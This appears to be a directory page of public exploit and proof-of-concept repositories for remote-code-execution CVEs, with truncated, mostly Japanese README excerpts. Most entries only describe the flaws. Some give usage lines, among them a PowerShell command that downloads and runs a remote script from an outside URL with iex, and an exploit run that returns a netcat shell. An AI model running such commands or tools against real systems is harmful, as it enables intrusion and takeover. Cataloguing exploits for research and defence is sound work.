AVideo3xploit

AVideo3xploit.go AVideo 用のRCEエクスプロイト root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password nc で接続が返ってくるはずです 解説...

CVE-2024-3094

セキュリティレビューと脅威モデル: CVE-2024-3094 xz-utils / OpenSSH このリポジトリは、重要な脆弱性CVE-2024-3094（xz-utilsパッケージのliblzmaライブラリ内のバックドアで、OpenSSHプロセスを介したRCEにつながる）の分析結果を含んでいます。 このプロジェクトでは、隔離されたテスト環境を準備し、脅威モデルを作成し、自動チェックを作成しました。 📂 プロジェクト構成 Dockerfile — 環境構築スクリプト（Debian Bookworm）で、すべての依存関係（OpenSSH、Python...

CVE-2022-29806

CVE-2022-29806 ZoneMinder 1.36.12 までの言語特権昇格（および RCE） 説明 ZoneMinder 1.36.13 より前および 1.37.11 より前のバージョンにおける、デバッグログファイルの Path Traversal とデフォルト言語オプションの脆弱性により、攻撃者は任意のコードを書き込み・実行してリモートコマンド実行を達成できます。 「この概念実証は ZoneMinder 1.36.4 ubuntu18.04 docker: ZoneMinder/zmdockerfiles に対してテストされましたが、最新バージョン 1.36.12...

CVE-2016-3088

Apache ActiveMQ PUT RCE ワンクリックgetshell 使い方:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 概念验证脚本 CVE-2025-58434 Flowise -lp...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 任意ファイルアップロード -purple 📌 説明 WordPress用プラグイン CSV Mass Importer （≤ 1.2）には、Admin+ 任意ファイルアップロード の脆弱性が存在します。 アップロードファイルの検証が不適切なため、高い権限を持つユーザー（管理者など）は、たとえばマルチサイト環境などで制限されるべき場合でも、サーバー上に任意のファイル をアップロードできます。...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Pluck CMS 4.7.13 以前における認証済みリモートコード実行。管理画面のファイルマネージャー admin.php?action=files はファイル拡張子を検証しないため、.phar ファイルのアップロードが可能となり、Apache がそれを PHP として実行します。このエンドポイントにウェブシェルをアップロードすると、ウェブサーバーユーザーとして RCE が発生します。 動作の仕組み 1. 提供された管理者パスワードを使用して認証します。 2. 管理画面のファイルマネージャーを介して PHP ウェブシェルを...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows のみ iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2019-11043

PoC CVE-2019-11043 CVE-2019-11043として記録されているこのエクスプロイトは、PHP-FPMの実装におけるバグをNGINXサーバーと組み合わせて悪用します。特定の構成では、FastCGI pathinfo 内の正規表現により、FPMモジュールが割り当て済みバッファを越えて、FastCGIプロトコルデータ用に予約された領域に書き込んでしまいます。その結果、Webユーザーがリモートでコードを実行できる可能性があります。次の表は、Common Vulnerability Scoring System（CVSS）によるエクスプロイトの深刻度評価を示しています。...

CVE-2025-69600

CVE-2025-69600 作者: Rafael José Núñez Gulías 企業: Iberian Var Group 影響を受ける製品: RayVentory Scan Engine 12.6 Update 8 およびそれ以前のバージョン Raynet セキュリティアドバイザリ: RSEC200966 Raynet の rvia におけるコマンドインジェクションにより、攻撃者は getconfig、upload、inventory、oracle の各オプションを介してコマンドを実行できます。 バリデーションは（設定プロパティ ForbiddenCurlChars が...

CVE-2026-88131

Deserialization of untrusted data in Microsoft Dataverse allows an unauthorized attacker to execute code over a network...

CVE-2024-44849

CVE-2024-44849 著者: Extencil [email protected] CVE-2024-44849 は、Qualitor 8.24 以前の全バージョンに影響する重大な RCE 脆弱性です。Qualitor ウェブサイト このプログラムを、相互の同意なしにいかなる企業やシステムへの攻撃・侵害に使用することは違法です。本コードの作成者は、本ソフトウェアを使用して行われた不正使用や違法行為について一切の責任を負いません。これは教育目的および許可されたテストのためにのみ意図されています。セキュリティ評価を実施する前に、必ず適切な許可を得てください。...

CVE-2019-9978_Exploit

CVE-2019-9978 エクスプロイト Social WarFare プラグイン =3.5.2 リモートコード実行...

Chrome-V8-RCE-CVE-2021-38003

Chrome-V8-RCE-CVE-2021-38003 CVE-2021-38003 のエクスプロイトを次から抽出: https://twitter.com/WhichbufferArda/status/1609604183535284224...

CVE-2025-7401

CVE-2025-7401 Premium Age Verification / Restriction for WordPress ' 🧭 コマンドラインオプション フラグ| 型| デフォルト| 説明 ---|---|---|--- -u, --url| string| 必須| ターゲットのドメインまたは部分的なURL。必要に応じてスクリプトがプラグインエンドポイントを追加します。例: example.com、https://example.com、example.com/wp-content/plugins/age-restriction/。 -key, --key| string|...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Windows Remote Desktop Servicesの脆弱性によりリモートコード実行が可能 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Eksploitasi Otomatis untuk Layanan RDP yang Rentan BlueKeep & Beyond 🔓 Membuat akun admin • 🪟 Mengaktifkan RDP • 📶 Verifikasi akses otomatis --- ⚠️ Peringatan Penting & Disclaimer 🚨 PERINGATAN:...

react2shell-scanner

react2shell-scanner Next.js アプリケーションの React Server Components RSC における CVE-2025-55182 および CVE-2025-66478 （リモートコード実行）を検出するための高精度コマンドライン脆弱性スキャナーです。 🚨 脆弱性の概要 これらの重大な脆弱性は、React Server Components を使用する Next.js アプリケーションに影響を与え、巧妙に細工された multipart POST リクエストを通じて、認証なしのリモートコード実行を可能にします。 影響を受けるバージョン:...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js リモートコード実行ツールキット !WARNING このツールは、許可されたテストおよび教育目的のみで提供されます。無断のネットワークアクセスやデータの外部送信は違法です。このツールをネットワーク上で使用する前に、適切な許可を得ていることを確認するのはユーザーの責任です。 概要 このリポジトリには、React2Shell としても知られる CVE-2025-55182 を検証・エクスプロイトし、対話型シェルを取得するためのシンプルなツールキットが含まれています。これは React Server Components...

CVE-2025-56399

CVE-2025-56399 大量エクスプロイト CVE-2025-56399 – laravel-file-manager v3.3.1 におけるリモートコード実行。Laravel File Manager の設定ミスを悪用し、認証不要のファイルアップロードを介して PHP シェルをアップロード・検証します。 インストール リポジトリをダウンロード git clone https://github.com/im-hanzou/CVE-2025-56399 リポジトリフォルダに移動 cd CVE-2025-56399 依存関係をインストール pip install -r...

CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我々は、テロ組織ハマスに人質として拘束されているすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰宅するまで、我々は休むことはありません。あなたも彼らを家に連れ戻す手助けができます。https://stories.bringthemhomenow.net/ CVE-2024-21762 このPoCは、FortiGateにおける特定されたセキュリティ上の欠陥を悪用することで、リモートコード実行の可能性を示しています。 CVE-2024-21762 PoC 💣 説明...